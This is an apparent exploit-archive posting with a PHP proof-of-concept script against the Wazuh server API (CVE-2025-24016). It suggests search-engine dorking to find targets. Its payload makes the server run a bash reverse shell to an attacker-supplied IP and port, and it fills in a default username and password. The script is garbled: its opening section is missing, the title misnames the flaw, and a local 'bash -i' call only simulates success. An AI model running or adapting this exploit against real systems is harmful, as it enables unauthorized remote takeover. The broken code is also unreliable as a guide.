============================================================================================================================================= | # Title : Wazuh v4.4.0 PHP Code Injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) | | # Vendor : https://wazuh.com/ | ============================================================================================================================================= POC : [+] Dorking İn Google Or Other Search Enggine. [+] Code Description: This PHP script is used to exploit the Remote Code Execution (RCE) vulnerability in the Wazuh server. It sends a request to the target server with a special payload that allows a reverse shell to be opened on the local server. [+] save code as poc.php . [+] USage : php poc.php -u https://:55000/security/user/authenticate/run_as -i 192.168.1.10 -p 4444 [+] PayLoad : getMessage() . "\n"; } } // التحقق من صحة الـ IP function check_ip($ip) { if (filter_var($ip, FILTER_VALIDATE_IP)) { return true; } else { echo color_print("IP غير صالح: $ip", 'error') . "\n"; return false; } } // التحقق من صحة الـ Port function check_port($port) { if (is_numeric($port) && $port > 0 && $port <= 65535) { return true; } else { echo color_print("Port غير صالح: $port", 'error') . "\n"; return false; } } // التحقق من صحة الـ URL function check_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { return true; } else { echo color_print("URL غير صالح. تأكد من أنه يبدأ بـ http:// أو https://", 'error') . "\n"; return false; } } // دالة لتحليل الوسائط من سطر الأوامر function parse_args() { global $argv; $args = getopt('u:i:p:user::pass::c::n::'); return $args; } function main() { $args = parse_args(); // التحقق من صحة المدخلات if (!isset($args['u']) || !isset($args['i']) || !isset($args['p'])) { echo color_print("يجب تحديد URL و IP و Port!", 'error') . "\n"; exit(1); } if (!check_ip($args['i']) || !check_port($args['p']) || !check_url($args['u'])) { exit(1); } version_check(); echo "Wazuh RCE - CVE-2025-24016\n"; echo "لأغراض البحث والاختبار فقط!\n"; echo "الاستخدام غير المصرح به محظور.\n"; echo "بواسطة: Jessie\n"; echo "الائتمان: Aiman، Cahyo، Ihsan و Arch \n"; // إعداد الحمولة $payload = [ "__unhandled_exc__" => [ "__class__" => "os.system", "__args__" => [ "bash -i >& /dev/tcp/{$args['i']}/{$args['p']} 0>&1" ] ] ]; $headers = [ "Content-Type: application/json", "X-Header-Name: Custom-Header" ]; // بيانات المصادقة $username = $args['user'] ?? 'wazuh-wui'; $password = $args['pass'] ?? 'MyS3cr37P450r.*-'; // إرسال طلب POST $url = $args['u']; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload)); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_USERPWD, "$username:$password"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $response = curl_exec($ch); $status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($status_code != 200) { echo color_print("رمز حالة الاستجابة: $status_code", 'error') . "\n"; if (strpos($response, 'Unauthorized') !== false) { echo color_print("فشل المصادقة", 'error') . "\n"; } else { echo color_print("استجابة غير طبيعية: $response", 'error') . "\n"; } exit(1); } echo color_print("تمت المصادقة بنجاح!", 'success') . "\n"; echo "الاستجابة: " . color_print($response, 'info') . "\n"; // إجراء شل عكسي echo color_print("تم إنشاء الاتصال بالشل العكسي إلى {$args['i']}:{$args['p']}", 'info') . "\n"; sleep(5); // محاكاة الاتصال $command = "bash -i"; $reverse_shell = shell_exec($command); if ($reverse_shell === null) { echo color_print("فشل الشل العكسي", 'error') . "\n"; } else { echo color_print("تم الاتصال بالشل العكسي بنجاح!", 'success') . "\n"; } } main(); ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================